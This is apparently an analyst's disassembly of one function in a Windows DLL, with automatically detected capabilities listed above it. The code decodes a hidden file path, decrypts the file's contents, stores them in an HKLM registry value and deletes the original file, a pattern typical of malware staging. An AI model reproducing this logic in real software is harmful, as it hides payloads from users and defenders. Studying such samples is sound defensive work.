Function at 0x180001ee0
Capabilities:
Delete file
Delete registry key
Encode data using xor
Get file size
Query environment variable
Read file on windows
Set registry value

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push r13
lea rbp, [rsp - 0x258]
sub rsp, 0x358
mov r13d, edx
lea rcx, [rbp + 0x31]
mov r8d, 0x103
xor edx, edx
mov byte [rbp + 0x30], 0
call fcn.180004780
xor esi, esi
lea rcx, [0x180014610]
movdqa xmm1, xmmword [0x180014760]
lea r8d, [rsi + 0x10]
mov eax, esi
nop dword [rax + rax]
movdqu xmm0, xmmword [rax + rcx]
lea rax, [rax + 0x10]
pxor xmm0, xmm1
movdqu xmmword [rbp + rax + 0x130], xmm0
dec r8
jne 0x180001f30
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x140]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x30]
lea r8d, [r9 + 3]
mov edx, 0x80000000
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov qword [rsp + 0x68], rax
cmp rax, 0xffffffffffffffff
je 0x18000229c
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x388], rdi
mov qword [rsp + 0x348], r14
mov dword [rbp + 0x290], esi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test eax, eax
je 0x180002275
test dil, 0xf
jne 0x180002275
mov ecx, edi
call fcn.180002964
lea r9, [rbp + 0x290]
mov r8d, edi
mov rcx, rbx
mov rdx, rax
mov qword [rsp + 0x20], rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000226d
lea rdx, [0x1800175e0]
lea rcx, [rsp + 0x70]
call section..text
cmp dword [rbp + 0x290], 8
movaps xmm0, xmmword [0x1800175e0]
movaps xmmword [rbp + 0x20], xmm0
jne 0x180002048
invalid
lea rcx, [rsp + 0x70]
mov r8d, edi
mov rdx, r14
call fcn.1800019c0
cmp dword [r14], 0xbebafeca
jne 0x18000226d
lea eax, [rdi - 1]
movzx r9d, byte [rax + r14]
cmp r9b, 0x10
ja 0x18000226d
movzx r8d, r9b
mov edx, esi
test r8d, r8d
jle 0x18000209d
mov eax, edi
sub eax, edx
dec eax
movsx ecx, byte [rax + r14]
cmp ecx, r8d
jne 0x18000226d
inc edx
cmp edx, r8d
jl 0x180002082
test r9b, r9b
je 0x18000226d
sub edi, r8d
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x340], r15
lea ebx, [rdi + 0x800]
lea ebx, [rdi + rbx*2]
mov ecx, ebx
call fcn.180002964
lea r9d, [rdi - 4]
lea r8, [r14 + 4]
mov rcx, rax
mov edx, ebx
mov r15, rax
call fcn.1800027e0
movsxd r12, eax
test eax, eax
jle 0x180002250
mov ecx, r12d
and ecx, 0x8000000f
jge 0x1800020fb
dec ecx
or ecx, 0xfffffff0
inc ecx
test ecx, ecx
jne 0x180002250
cmp dword [r15], 0xbebafeca
jne 0x180002250
lea rcx, [rsp + 0x58]
mov edx, r13d
call fcn.1800026f0
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x70]
call section..text
mov rbx, r15
lea r8, [rbp + 0x20]
movaps xmm0, xmmword [0x1800175e0]
movaps xmmword [rbp + 0x20], xmm0
mov edi, r12d
test r12d, r12d
je 0x18000218a
dec rdi
shr rdi, 4
inc rdi
mov rax, rbx
sub r8, rbx
mov edx, 0x10
nop dword [rax + rax]
movzx ecx, byte [r8 + rax]
lea rax, [rax + 1]
xor byte [rax - 1], cl
dec rdx
jne 0x180002160
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.1800016b0
mov r8, rbx
add rbx, 0x10
dec rdi
jne 0x180002150
lea r8, [rsp + 0x58]
mov rdx, r12
mov rcx, r15
mov qword [rsp + 0x58], rsi
call fcn.180001a60
mov rbx, rax
test rax, rax
je 0x180002250
mov rdx, qword [rbp + 0x280]
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rbp + 0x298], esi
mov qword [rsp + 0x50], rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyExA]
mov rdx, qword [rbp + 0x280]
lea rax, [rbp + 0x298]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x180002248
mov eax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, 1
mov rcx, rbx
call fcn.180002924
mov rcx, r15
call fcn.180002924
mov rbx, qword [rsp + 0x68]
mov r15, qword [rsp + 0x340]
mov r12, qword [rsp + 0x350]
mov rcx, r14
call fcn.180002924
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x18000228c
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdi, qword [rsp + 0x388]
mov r14, qword [rsp + 0x348]
add rsp, 0x358
pop r13
pop rsi
pop rbx
pop rbp
ret